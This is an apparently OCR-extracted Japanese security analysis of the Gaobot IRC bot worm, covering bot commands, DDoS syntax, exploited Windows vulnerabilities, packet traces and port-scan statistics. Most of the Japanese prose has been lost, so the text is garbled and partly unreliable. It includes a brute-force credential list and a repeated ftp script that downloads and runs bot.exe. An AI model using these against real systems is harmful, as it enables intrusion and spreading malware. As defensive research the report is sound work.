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Gaobot Gaobot

Gaobot
@

IRC Gaobot

IRC

IRC
IRC (IRC )
( )
IRC
DDoS
IRC IRC
IRC IRC
1 Gaobot
o (IRC + IRC )
IRC Gaobot
IRC
Gaobot (IRC )
IRC Gaobot 1
o Gaobot (IRC (IRC )
Gaobot IRC



DDoS

(2) IRC
Gaobot IRC
IRC
IRC
10
Gaobot IRC
IRC Gaobot
Gaobot
IRC IP
Gaobot IRC
10
IRC TCP6660
6669
2 IRC
Gaobot Web

W32.HLLW.Gaobot.gen
http://www.symantec.com/region/jp/sarcj/data/w/w32.hllw.gaobot.gen.html
WORM_AGOBOT . GEN
http://www.trendmicro.co.jp/vinfo/virusencyclo/defaul t5.asp?VName=WORM_AGOBOT .GEN
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) ( )
IRC

Gaobot

IRC Gaobot

Gaobot
(IRC )

3

blargnet.xxx.com 332 [pZ]zxanagw #plazm4 :.scan.startall

[ ] blargnet.xxx.com

[ ] 332

[ 1 [pZ]zxanagw  (Gaobot )
[ ] #plazm4

[ ] .scan.startall



IRC .scan.startall
.scan.stopall
.scan.enable [ ]
.scan.addnetrange [ ]

IRC

IRC

IP 10.1.1.1

Gaobot Bagle Mydoom
DameWare Mini Remote Control

PRIVMSG #plazm4-scan :[Bagle] scanning 10.1.1.1
PRIVMSG #plazm4-scan :[Doom] exploited 10.1.1.1
PRIVMSG #plazm4-scan :[DW]: scanning ip 10.1.1.1
PRIVMSG #plazm4-scan :[Bagle] exploited 10.1.1.1




1 PRIVNSG ( )

1 #plazm4-scan
1
< > < > <
< > ()
Bagle Beagle( Bagle)
Doom Mydoom
Dameware  DameWare Mini Remote Control
< > (
scanning
exploited
Scanning
Bagle
2745/tcp
exploited
Mydoom 3127/tcp
Scanning
DameWare 6129/tcp
exploited
Bagle

#plazm4



(O] DDoS
(DDoS)
DoS Gaobot
DDoS

IRC Gaobot

. -
WWW.XXX.CO.jp

>

4 DDoS

o DDoS

PRIVMSG #plazm4 :.ddos.synflood 66.xxx.xxx.xxx 100 0 27015

[ 1 PRIVMSG ( )
[ 1 #plazm4
[ ] -ddos.synflood <host> <time>(secs) <delay>(ms) <port>
1P 66 . XXX . XXX. XXX (27015 ) 100
0 ( ) SYN Flood DoS
Gaobot SYN Food UDP Flood HTTP Flood ICMP
Flood



®)
IRC Gaobot
DDoS (SOCKS HTTP HTTPS)

(

Gaobot

O .redirect.tcp <local port> <remote host> <remote port>

O .redirect.http [port]
HTTP http
.redirect_https .redirect.socks
O .harvest.cdkeys
CD
O .harvest.emails

O .http.update <user> <pass> <host> <path> <target>
http
http .Ftp.update

Agobot.FO(http://www.f-secure.co. jp/v-descs/v-descs3/agobot_fo.htm)
Phatbot Trojan Analysis (http://www.lurhq.com/phatbot.html)
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Gaobot

Windows 0S
1 Gaobot
1 Gaobot
/ ( )
139/tcp, 445/tcp | Windows
135/tcp, 1025/tcp | (SMB, RPC)
2745/tcp | Beagle.C-K
3127/tcp | Mydoom.A
5000/tcp | UPnP(Universal Plug and Play)
6129/tcp | DameWare Mini Remote Control
80/tcp | WebDAV
1433/tcp | SQL Server
2082/tcp(CPanel)  4899/tcp(Radmin) Gaobot
Gaobot
Gaobot
Gaobot
1 Gaobot
Gaobot

Gaobot



(1) Windows
139/tcp 445/tcp

Windows

NULL

Gaobot
NetScheduleJobAdd API

admin$, c$, print$, c, d$, e$

Administrator, Administrateur, Coordinatore,
Administrador, Verwalter, Ospite, kanri,
kanri-sha, admin, administrator, Default,
Convidado, mgmt, Standard, User, Administrat,
administrador, Owner, user, server,

Test, Guest, Gast, Inviter, a, aaa, abc, X, Xxyz,
Dell, home, pc, test, temp, win, asdf, qwer,
OEM, root, wwwadmin, login,

owner, mary, mike, george, jim, tim, tom,

stacy, stacey, colin, mark, erik, peter, patrick,
bill, steve, dick, stefan, steven, kate, kt,
karl, mypc, admins, computer, xp,

OWNER, mysgl, sql, database, teacher, student
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admin, Admin, password, Password, 1, 12, 123, 1234, beer,

10#%, asdfgh, 1@#3%, 104#$%", 1@H#SUN&, 1@#S%N&*, WindowsXP,
windows2k, windowsME, windows98, windoze, hax, dude, owned,

lol, ADMINISTRATOR, rooted, noob, TEMP, share, r00t, freak,

ROOT, TEST, SYSTEM, LOCAL, SERVER, ACCESS, BACKUP, computer,

fucked, gay, idiot, Internet, test, 2003, 2004, backdoor,

whore, whOre, CNN, pwned, own, crash, passwd, PASSWD, iraq,

devil, linux, UNIX, feds, fish, changeme, ASP, PHP, 666,

BOX, Box, box, 12345, 123456, 1234567, 12345678, 123456789,

654321, 54321, 111, 000000, 00000000, 11111111, 88888888, fanny,
pass, passwd, database, abcd, oracle, sybase, 123qwe, fool,

server, computer, Internet, super, 123asd, ihavenopass, West,
godblessyou, enable, xp, 23, 2002, 2600, 0, 110, 2525, newfy,
111111, 121212, 123123, 1234qwer, 123abc, 007, alpha, 1776, newfie,
patrick, pat, administrator, root, sex, god, foobar, 1778,

a, aaa, abc, test, temp, win, pc, asdf, secret, drugs,

gwer, yxcv, zxcv, home, xxx, owner, login, Login, west,
Coordinatore, Administrador, Verwalter, Ospite, administrator,
Default, administrador, admins, teacher, student, superman, wmd,
supersecret, kids, penis, wwwadmin, database, changeme, dope,
testl123, user, private, 69, root, 654321, xxyyzz, asdfghjkl,

mybaby, vagina, pussy, leet, metal, work, school, mybox,

box, werty, baby, porn, homework, secrets, x, z, bong,

gwertyuiop, secret, Administrateur, abcl23, passwordl23, red123,
gwerty, adminl23, zxcvbnm, poiuytrewq, pwd, pass, love, mypc,

texas, Texas, Washington, washington, Tennessee, tennessee, jackdaniels,
whisky, whiskey, azerty, poiut, mouse, ordinateur, souris, imprimeur, cederom,
biere, moonshine, athlon, oil, opteron, ecran, reseau, carte,

merde, mince, ami, amie, copin, copine, 42, harry, dumbledore, hagrid, potter,
hermione, hermine, gryffindor, azkaban, askaban, cauldron, buckbeak,
hogwarts, dementor, quidditch, madre, switch, mypass, pw

http://www.microsoft.com/resources/documentation/WindowsServ/2003/enterprise/proddocs
/ja-jp/Default._asp?url=/resources/documentation/WindowsServ/2003/enterprise/proddocs/
Ja-jp/windows_password_tips.asp
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(445/tcp)
(192.168.0.2) - (192.168.0.1)

Source Destination Proto Size Info

192.168.0.2 192.168.0.1 TCP 62 3105 > microsoft-ds [SYN]
192.168.0.1 192.168.0.2 TCP 62 microsoft-ds > 3105 [SYN, ACK]
192.168.0.2 192.168.0.1 TCP 60 3105 > microsoft-ds [ACK]
192.168.0.2 192.168.0.1 SMB 191 Negotiate Protocol Request
192.168.0.1 192.168.0.2 SMB 143 Negotiate Protocol Response
192.168.0.2 192.168.0.1 SMB 252 Session Setup AndX Request,
NTLMSSP_NEGOTIATE

192.168.0.1 192.168.0.2 SMB 331 Session Setup AndX Response,
NTLMSSP_CHALLENGE, Error: STATUS MORE_PROCESSING REQUIRED
192.168.0.2 192.168.0.1 SMB 384 Session Setup AndX Request, NTLMSSP_AUTH
192.168.0.1 192.168.0.2 SMB 93  Session Setup AndX Response,
Error: STATUS_LOGON_FAILURE

192.168.0.2 192.168.0.1 TCP 60 3105 > microsoft-ds [ACK]
192.168.0.2 192.168.0.1 TCP 60 3105 > microsoft-ds [FIN, ACK]
192.168.0.1 192.168.0.2 TCP 54  microsoft-ds > 3105 [FIN, ACK]
192.168.0.2 192.168.0.1 TCP 60 3105 > microsoft-ds [ACK]

1 TCP

(192.168.0.1) STATUS_LOGON_FAILURE
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(2) RPC (MS03-026)
135/tcp 445/tcp 1025/tcp

Windows RPC RPC
(823980) (MS03-026)
Blaster  Welchia( Nachi)
Gaobot

o 135/tcp 1025/tcp

Windows 2000 XP RPC 135/tcp
1025/tcp  RPC Gaobot
0S
1025/tcp Windows 2000  XP
2 Windows 2000 XP 1025/tcp
Windows 2000 MSTask.exe( )
Windows XP svchost.exe
o 445/tcp
¥epmapper SMB  (445/tcp)
RPC
@)
(
) Gaobot
Gaobot MS03-026
135/tcp, 445/tcp, 1025/tcp

—

A

MS03-026
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/securi
ty/bulletin/MS03-026.asp
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Gaobot

(135/tcp)
(192.168.0.2) - (192.168.0.5)
Source Destination Proto Size Info

192.168.0.2 192.168.0.5 TCP 62 3340 > epmap [SYN]

192.168.0.5 192.168.0.2 TCP 62 epmap > 3340 [SYN, ACK]
192.168.0.2 192.168.0.5 TCP 60 3340 > epmap [ACK]

192.168.0.2 192.168.0.5 RPC 126 Bind: call_id: 127

UuID: 000001a0-0000-0000-c000-000000000046

192.168.0.5 192.168.0.2 RPC 114 Bind_ack: call _id: 127 accept
192.168.0.2 192.168.0.5 RPC 1514 Request: call_id: 229 opnum: 4
ctx_id: 1 UNKUUID: 000001a0-0000-0000-c000-000000000046 rpcver: O
192.168.0.2 192.168.0.5 TCP 1498 3340 > epmap [PSH, ACK]
192.168.0.5 192.168.0.2 TCP 54 epmap > 3340 [ACK]

192.168.0.5 192.168.0.2 TCP 62 1045 > 11833 [SYN]

192.168.0.2 192.168.0.5 TCP 62 11833 > 1045 [SYN, ACK]
192.168.0.5 192.168.0.2 TCP 54 1045 > 11833 [ACK]

192.168.0.2 192.168.0.5 TCP 60 11833 > 1045 [PSH, ACK]

( Gaobot )

135/tcp DCOM RPC Request:
call id: 229
11833/tcp
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o (SMB, 445/tcp)
(192.168.0.2) - (192.168.0.1)

Source Destination Proto Size Info

192.168.0.2 192.168.0.1 TCP 62 2209 > microsoft-ds [SYN]

192.168.0.1 192.168.0.2 TCP 62 microsoft-ds > 2209 [SYN, ACK]
192.168.0.2 192.168.0.1 TCP 60 2209 > microsoft-ds [ACK]

192.168.0.2 192.168.0.1 SMB 191 Negotiate Protocol Request

192.168.0.1 192.168.0.2 SMB 143 Negotiate Protocol Response

192.168.0.2 192.168.0.1 SMB 252 Session Setup AndX Request,
NTLMSSP_NEGOTIATE

192.168.0.1 192.168.0.2 SMB 323 Session Setup AndX Response,
NTLMSSP_CHALLENGE, Error: STATUS MORE_PROCESSING REQUIRED

192.168.0.2 192.168.0.1 SMB 314 Session Setup AndX Request, NTLMSSP_AUTH
192.168.0.1 192.168.0.2 SMB 175 Session Setup AndX Response

192.168.0.2 192.168.0.1 SMB 152 Tree Connect AndX Request,

Path: Y¥¥IPC$

192.168.0.1 192.168.0.2 SMB 114 Tree Connect AndX Response
192.168.0.2 192.168.0.1 SMB 162 NT Create AndX Request, Path: ¥epmapper
192.168.0.1 192.168.0.2 SMB 193 NT Create AndX Response, FID: 0x4000
192.168.0.2 192.168.0.1 TCP 60 2209 > microsoft-ds [ACK]
192.168.0.2 192.168.0.1 RPC 214 Bind: call _id: 127

UUID: 000001a0-0000-0000-c000-000000000046 ver 0.0
192.168.0.1 192.168.0.2 RPC 186 Bind ack: call_id: 127 accept
192.168.0.2 192.168.0.1 RPC 1414 Request: call id: 229 opnum: 4 ctx id: 1
UNKUUID: 000001a0-0000-0000-c000-000000000046 rpcver: 0
192.168.0.2 192.168.0.1 NBSS 210 NBSS Continuation Message
192.168.0.1 192.168.0.2 TCP 54  microsoft-ds > 2209 [ACK]
192.168.0.1 192.168.0.2 SMB 105 Write AndX Response, FID: 0x4000
192.168.0.2 192.168.0.1 SMB 117 Read AndX Request, FID: 0x4000
192.168.0.1 192.168.0.2 SMB 93 Read AndX Response,

Error: STATUS PIPE BROKEN

( SMB )

SMB(445/tcp) ¥epmapper
DCOM RPC NT Create AndX Request, Path: ¥epmapper
Request: call_id: 229

(3) RPCSS (MS03-039)
135/tcp
MS03-026 PRCSS DCOM
MS03-039 135/tcp (@)
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(4) \Workstation (MS03-049)
139/tcp, 445/tcp

Workstation

(828749) (MS03-049) RPC
(Gaobot ) 0S Windows
XP NetAddAlternateComputerName API
NetVal idateName API SMB Ywkssvc
o (SMB, 445/tcp)
(192.168.0.2) - (192.168.0.1)
Source Destination Proto Size Info

192.168.0.2 192.168.0.1 TCP 62 2514 > microsoft-ds [SYN]
192.168.0.1 192.168.0.2 TCP 62 microsoft-ds > 2514 [SYN, ACK]
192.168.0.2 192.168.0.1 TCP 54 2514 > microsoft-ds [ACK]
192.168.0.2 192.168.0.1 SMB 191 Negotiate Protocol Request
192.168.0.1 192.168.0.2 SMB 143 Negotiate Protocol Response
192.168.0.2 192.168.0.1 SMB 252 Session Setup AndX Request,
NTLMSSP_NEGOTIATE

192.168.0.1 192.168.0.2 SMB 321 Session Setup AndX Response,
NTLMSSP_CHALLENGE, Error: STATUS MORE_PROCESSING REQUIRED
192.168.0.2 192.168.0.1 SMB 308 Session Setup AndX Request, NTLMSSP_AUTH
192.168.0.1 192.168.0.2 SMB 175 Session Setup AndX Response
192.168.0.2 192.168.0.1 SMB 146 Tree Connect AndX Request,
Path: ¥¥192.168.0.1¥I1PC$

192.168.0.1 192.168.0.2 SMB 114 Tree Connect AndX Response
192.168.0.2 192.168.0.1 SMB 158 NT Create AndX Request, Path: ¥wkssvc
192.168.0.1 192.168.0.2 SMB 193 NT Create AndX Response, FID: 0x4000
192.168.0.2 192.168.0.1 RPC 194 Bind: call_id: 1 UUID: WKSSVC
192.168.0.1 192.168.0.2 SMB 105 Write AndX Response, FID: 0x4000
192.168.0.2 192.168.0.1 SMB 117 Read AndX Request, FID: 0x4000
192.168.0.1 192.168.0.2 RPC 186 Bind_ack: call id: 1
192.168.0.2 192.168.0.1 WKSSVC 1514 NetrValidateName2 request
192.168.0.2 192.168.0.1 NBSS 844 NBSS Continuation Message
192.168.0.1 192.168.0.2 TCP 60 microsoft-ds > 2514 [ACK]
192.168.0.1 192.168.0.2 WKSSVC 142 NetrValidateName2 response
192.168.0.2 192.168.0.1 SMB 99 Close Request, FID: 0x4000
( SMB )
NetVal idateName API
SMB(445/tcp) ¥wkssvc

NetrValidateName2 request
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(5) Microsoft SQL Server
1433/tcp

Microsoft SQL Server

SQL Server 1433/tcp
Gaobot SQL Server ( ) ( )
TCP/1P

HKEY LOCAL_MACHINE¥SOFTWARE¥Microsoft¥MSSQLServer¥Client¥ConnectTo¥
DSQuery = "dbmssocn™

( ) Microsoft SQL Server
1433/tcp

@)
sa, root, admin
@)
pass, password, sa, root, admin, 1, 12, 123, 1234, 12345, 123456, NULL
database, server, sql, system, box, temp, test, pw, secret, penis
@)
Gaobot
echo open [ 1P 1 [ftp 1 > bla.txt
echo user [ 11 1 >> bla.txt

echo binary >> bla.txt

echo get bot.exe >> bla.txt
echo quit >> bla.txt
ftp.exe -n -s:bla.txt
bot.exe

Gaobot (bot.exe) ftp

Microsoft SQL Server 2000
http://www.microsoft.com/japan/SQL/techinfo/administration/2000/security/2000security
WP.asp
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(6) WebDAV (MS03-007)

80/tcp
Windows
(815021) (MS03-007) Windows
WebDAV
HTTP
Web
o Web (1195) (
SHIFT-JIS

ntdll.dll

Gaobot HTTP
1IS(Internet Information Services)
Gaobot

#Version: 1.0
#Date: 2004-05-20 10:45:46

#Software: Microsoft Internet Information Services 5.0

#Fields: date time c-ip cs-method cs-uri-stem sc-status

2004-05-20 10:45:46 172.27.5.100 SEARCH /

(16

0000 53 45 41 52 43 48 20 2F 90 02
0010 B1 02 B1 02 B1 02 B1 02 Bl 02
0020 B1 02 B1 02 B1 02 B1 02 Bl 02
0030 B1 02 B1 02 B1 02 B1 02 Bl 02
0040 B1 02 B1 02 B1 02 B1 02 Bl 02
0050 B1 02 B1 02 B1 02 B1 02 Bl 02
0060 B1 02 B1 02 B1 02 B1 02 Bl 02
0070 B1 02 B1 02 B1 02 B1 02 Bl 02

B1
Bl
Bl
B1
Bl
Bl
Bl
Bl

02 B1 02 B1 02 SEARCH /........
02 B1 02 B1 02 ...cooiiiiaaa..
02 B1 02 B1 02 ..cooiiiiaaa..
02 B1 02 B1 02 ... oo
02 B1 02 B1 02 ...ccoiiiiaaa..
02 B1 02 B1 02 ...cooiiiiaaa..
02 B1 02 B1 02 ...cooiiiiana..
02 B1 02 B1 02 ...cooiiiiaaana

MS03-007

http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/securi

ty/bulletin/ms03-007 .asp
[MS03-007] Windows

Web

http://support._microsoft.com/default.aspx?scid=kb;ja;815021
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(7) UPNP (MS01-059)

5000/tcp
(UPnP)
(MS01-059) UPnP
NOTIFY
o (SMB, 445/tcp)
(192.168.0.2) - (192.168.0.1)

Source Destination Proto Size Info
192.168.0.2 192.168.0.5 TCP 62 2031 > 5000 [SYN]
192.168.0.5 192.168.0.2 TCP 62 5000 > 2031 [SYN, ACK]
192.168.0.2 192.168.0.5 TCP 60 2031 > 5000 [ACK]
192.168.0.2 192.168.0.5 TCP 751 2031 > 5000 [PSH, ACK] ( )

192.168.0.5 192.168.0.2 TCP 82 5000
192.168.0.5 192.168.0.2 TCP 54 5000

2031 [PSH, ACK]
2031 [FIN, ACK]

V V. V V V V V

192.168.0.2 192.168.0.5 TCP 60 2031 > 5000 [ACK]
697 ( 751 )
HTTP/1.1 400 Bad Request
@)
Gaobot
echo open [ 1P 1 [ftp 1 > bla.txt
echo user [ 11 1 >> bla.txt

echo binary >> bla.txt

echo get bot.exe >> bla.txt
echo quit >> bla.txt
ftp.exe -n -s:bla.txt
bot.exe

MS01-059
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/securi
ty/bulletin/ms01-059.asp
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Gaobot ftp
(bla.txt) Microsoft SQL Server
ftp

(8) DameWare Mini Remote Control

6129/tcp

DameWare Mini Remote Control (DameWare )

Gaobot

Gaobot Microsoft SQL Server
UPnP (MS01-059)

3.72

echo open [ 1P 1 [ftp ] > bla.txt
echo user [ 11 1 >> bla.txt

echo binary >> bla.txt

echo get bot.exe >> bla.txt

echo quit >> bla.txt

ftp.exe -n -s:bla.txt

bot.exe

DameWare Mini Remote Control Client Agent Service Pre-Authentication Buffer Overflow

Vulnerability resolved with the release of version 3.73
http://www.dameware.com/support/security/bulletin.asp?1D=SB2
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(9) Beagle

2745/tcp
Gaobot Beagle
Beagle Gaobot
W32 _Beagle.C@mm W32_Beagle . K@mm 2745/tcp
Beagle
URL
Gaobot 2745/tcp
* IP ftp
| - —
2745/tcp
Gaobot 2745/tcp
URL (Beagle) Gaobot
ftp://[ 1:0 1e[ 10 1/bot.exe
Beagle URL

Gaobot (bot.exe)
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(10) Mydoom

3127/tcp
Gaobot Mydoom
Gaobot W32 .Mydoom. A@mm 3127/tcp
Mydoom
Gaobot Mydoom
'/(’-’vj 3127/tcp
... >
3127/tcp
Gaobot  3127/tcp Mydoom
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Gaobot
1(Gaobot
) Gaobot

@
Gaobot

Gaobot

Gaobot

( TCP)

1025, 2745

1025, 2745, 6129

1025, 2745, 5000, 6129

80, 139, 1025, 2745, 6129

80, 139, 1025, 1433, 2745, 5000, 6129

135, 139, 445, 1025, 2745, 3127, 5000, 6129

135, 445, 1025, 3127, 6129

1025, 3127

OO N OO | DWW [(DN|F

80, 1025, 2745, 3127, 6129

Gaobot

SYN

-23-



)

6 30 1025/tcp

Gaobot

1600
4/30 1025/tcp
1400
1200
1000
800
600
400
200
0 bt
3/1 3/11  3/21 3/31 4/10 4/20 4/30 5/10 5/20 5/30 6/9 6/19  6/29
——1025/tcp ——2745/tcp ——6129/tcp — 80/tcp 3127/tcp
139/tcp —135/tcp ——445/tcp  ——5000/tcp —— 1433/tcp
5 1025/tcp
4
Gaobot
IRC
Gaobot
5 6
1025/tcp Gaobot
(2) IRC
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2500

2000

1500

1000

500

0

2500

2000

1500

1000

500

0

4000

3000

2000

1000

0

2745/tcp

3/1 3/16 3/31 4/15 4/30 5/15 5/30 6/14 6/29
] ——
80/tcp

6129/tcp
1600
1200
800
400
0
3/1 3/16 3/31 4/15 4/30 5/15 5/30 6/14 6/29
| ——
3127/tcp
1200
1000

800
600
400
200

0
3/1 3/16 3/31 4/15 4/30 5/15 5/30 6/14 6/29 3/1 3/16 3/31 4/15 4/30 5/15 5/30 6/14 6/29
I —— | = —
139/tcp 135/tcp
15000
12000
9000
6000
I 3000
0
3/1 3/16 3/31 4/15 4/30 5/15 5/30 6/14 6/29 3/1 3/16 3/31 4/15 4/30 5/15 5/30 6/14 6/29
— —— | — —— \
[ 1
[ ] 5 Gaobot

6-1
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445/tcp 1433/tcp

10000 800
8000 600 |
6000
400 |
4000
2000 200
0 0
3/1 3/16 3/31 4/15 4/30 5/15 5/30 6/14 6/29 3,1 3716 3/31 4/15 4/30 5/15 5/30 6/14 6/29
| —— | — —— |
5000/tcp
500
400 | )5 Bobax
300 \1
5 19 8300 /
200 |
100 |
0
3/1 3/11 3/21 3/31 4/10 4/20 4/30 5/10
| —— |
6-2
Beagle 2745/tcp DameWare Mini Remote Control
6129/tcp Mydoom 3127/tcp
(UPnP) 5000/tcp
Gaobot Gaobot
3 3127/tcp Gaobot Mydoom
Doomjuice 4 Gaobot
2745/tcp 5 Gaobot
Windows 135/tcp 445/tcp Gaobot
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®

3 1 6 30 1025/tcp
51.3%
o =] [m] [m] [ ]
o 7] o (] =}
7 (1025/tcp) 10
©)
1025/tcp 8
4,800 3,600
4 5

450

400 [

350 |
300 F

250
\’200 -

150

100

50 |

O LI
3/1 3/11 3/21 3/31 4/10 4/20 4/30 5/10 5/20 5/30 6/9 6/19 6/29
() () |
8 (1025/tcp)
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IRC (IRC ) Gaobot

Gaobot Gaobot
LSASS (MS04-011)
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